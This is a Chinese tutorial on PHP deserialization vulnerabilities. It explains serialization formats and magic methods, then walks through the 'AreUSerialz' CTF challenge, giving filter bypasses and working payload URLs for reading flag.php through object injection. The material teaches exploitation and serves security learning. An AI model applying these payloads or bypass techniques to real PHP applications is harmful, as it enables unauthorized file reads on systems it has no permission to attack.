浅谈PHP反序列化漏洞
0x00.前置知识
PHP大佬请跳至0x01.PHP反序列化漏洞
序列化
PHP程序为了保存和转储对象,提供了序列化的方法,PHP序列化是为了在程序运行的过程中对对象进行转储而产生的。在序列化期间,对象将当前状态写入到临时或持久性存储区。
序列化:将对象转换成字符串。利用函数serialize()
实现
反序列化:将序列化后的字符串转换为对象。利用函数unserialize()
实现
new一个对象将其实例化,了解序列化后字符串的格式
<?php
class Nets {
public $name = 'harden';
protected $age = 31;
private $country = 'kk';
public function set_country($country)
{
$this->country = $country;
}
public function get_country()
{
return $this->country;
}
}
$harden = new Nets();
$harden->set_country('USA');
$str_harden = serialize($harden); //将对象序列化成字符串
echo '<pre>';
echo $str_harden;
file_put_contents('./nets.txt', $str_harden);
序列化后的通用表达式:
O:<length>:"<class name>":<n>:{<field name 1><field value 1>...<field name n><field value n>}
下图解析:
观察序列化后的字符串我们可以得出以下结论
- 序列化只序列化类属性,不序列化类方法
- 不同的权限的类属性的格式是不同的
php为了能把整个类对象的各种信息完完整整的压缩,格式化,必然也会将属性的权限序列化进去,即不同的访问修饰符序列化后格式如下:
-
Public: 属性名与其长度一致
public $name = 'harden'; | | s:4:"name";s:6:"harden";
-
Protected: %00*%00属性名
protected $age = 31; | | s:6:"*age";i:31; //%00空字符不显示,因此属性长度为6
-
Private:%00类名%00属性名
private $country = 'kk'; | | s:13:"Netscountry";s:3:"USA"; //%00白字符不显示,因此属性长度为13
我们使用010 editor
打开序列化后保存的nets.txt
反序列化
<?php
class Nets {
public $name = 'harden';
protected $age = 31;
private $country = 'kk';
public function set_country($country)
{
$this->country = $country;
}
public function get_country()
{
return $this->country;
}
}
$str_harden = file_get_contents('./nets.txt');
$harden = unserialize($str_harden); //将字符串反序列化成对象
echo $harden->get_country();
echo '<pre>';
var_dump($harden);
可以看到,$harden
这个对象成功被还原为序列化时的状态,需注意:反序列化的时候一定要保证在当前的作用域环境下可访问该类
魔术方法
PHP中把以两个下划线__
开头的方法称为魔术方法,这些方法在PHP中充当了举足轻重的作用。魔术方法都是某种条件下自动执行的方法
__construct() //创建对象时触发
__destruct() //对象被销毁时触发
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从无法访问的属性读取数据
__set() //用于将数据写入无法访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //将对象当作函数调用时触发
__toString() //把对象当作字符串使用时触发
我们可以测试下与序列化反序列化相关的魔术方法的触发顺序
<?php
class Test {
public $name = "f4ke";
private $passwd = "123456";
public function get_name()
{
echo $this->name."<br>";
}
public function __construct()
{
echo "function __construct is running!"."<br />";
}
public function __sleep()
{
echo "function __sleep is running!"."<br />";
return array('name', 'passwd');
}
public function __wakeup()
{
echo "function __wakeup is running!"."<br />";
}
public function __destruct()
{
echo "function __destruct is running!"."<br />";
}
}
// 创建Test对象,触发__construct
$obj = new Test();
// 序列化,触发__sleep
$str = serialize($obj);
echo $str."<br>";
// 反序列化,触发__wakeup
$obj2 = unserialize($str);
$obj2->get_name();
//print_r($str);
0x01.PHP反序列化漏洞
序列化是为了方便对象的传递,节省资源,把对象序列化为一个字符串进行存储,需要用到的时候再反序列化为对象,序列化和反序列化的过程中会自带很多魔术方法
因此,在进行反序列化时,伴随触发的魔术方法被用户输入可控,就有可能存在反序列化漏洞,即反序列化函数 unserialize() 是我们攻击的入口,配合魔术方法就可以形成反序列化漏洞
下面通过一道CTF赛题学习如何利用反序列化漏洞
【AreUSerialz】
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
代码分析如下:
FileHandler类功能:
- 文件处理,根据属性
op
的值来判断读写文件执行流程:
- GET方法传入
$str
,is_valid
方法过滤不可见字符,进而将传入的$str
反序列化为对象$obj
- 此时PHP脚本执行结束,在销毁对象
$obj
时,会触发__destruct()方法- __destruct()函数中强制将
op
置“1”,并调用process()方法- process()方法通过判断
op
的值进行写文件的操作
根据文件开头包含flag.php
,我们需要通过str
参数的输入来成功利用FileHandler类的文件读功能输出flag
根据执行流程我们知道脚本正常执行的情况下,str
参数的输入字符串范围只能在ASCII码的[32-125]范围,且只能调用write()方法进行写操作
显然,我们需要编写序列化的代码,并绕过这两个限制,才能成功读取flag.php
- 绕过
is_valid
PHP序列化的时候private和protected变量会引入不可见空字符\x00,在is_valid
函数中被过滤无法反序列化
两种方法可以绕过过滤:
-
利用php>7.1版本对类属性的检测不严格(对属性类型不敏感)
在编写漏洞利用代码时将portected属性换成public属性即可
<?php class FileHandler { public $op = "2"; public $filename = "flag.php"; public $content = "123456"; } $obj = new FileHandler(); $str = serialize($obj); file_put_contents("./file.txt", $str); echo $str; // O:11:"FileHandler":3:{s:2:"op";s:1:"2";s:8:"filename";s:8:"flag.php";s:7:"content";s:6:"123456";}
-
在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。比如
s:5:"A<null_byte>B<cr><lf>"; ----> S:5:"A\00B\09\0D";
<?php class FileHandler { protected $op = "2"; protected $filename = "flag.php"; protected $content = "123456"; } $obj = new FileHandler(); $str = serialize($obj); file_put_contents("./file.txt", $str); echo $str; // O:11:"FileHandler":3:{s:5:" * op";s:1:"2";s:11:" * filename";s:8:"flag.php";s:10:" * content";s:6:"123456";}
即,将
s->S
且空字符NUL->\00
处理O:11:"FileHandler":3:{s:5:" * op";s:1:"2";s:11:" * filename";s:8:"flag.php";s:10:" * content";s:6:"123456";} | | | O:11:"FileHandler":3:{S:5:"\00*\00op";S:1:"2";S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:6:"123456";}
- 弱类型绕过
$this->op
判断
要想读取flag.php
,必然要使op==="2"
不成立且op=="2"
成立
===
强类型比较 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较==
**弱类型比较 ** 在进行比较的时候,会将字符转化为相同类型,再进行比较 (如果比较涉及数字内容的字符串,则字符串会被转换成数值并且按照转化后的数值进行比较)
因此op可以设置如下值即可绕过执行read()方法:
$op = " 2";
$op = 2;
最终的编写利用代码 (其中一种) :
<?php
class FileHandler {
public $op = " 2";
public $filename = "flag.php";
public $content = "123456";
}
$obj = new FileHandler();
$str = serialize($obj);
file_put_contents("./file.txt", $str);
echo $str;
最终请求payload如下:
http://xxx.cn/?str=O:11:"FileHandler":3:{S:5:"\00*\00op";S:2:" 2";S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:6:"123456";}
http://xxx.cn/?str=O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:6:"123456";}
成功读取flag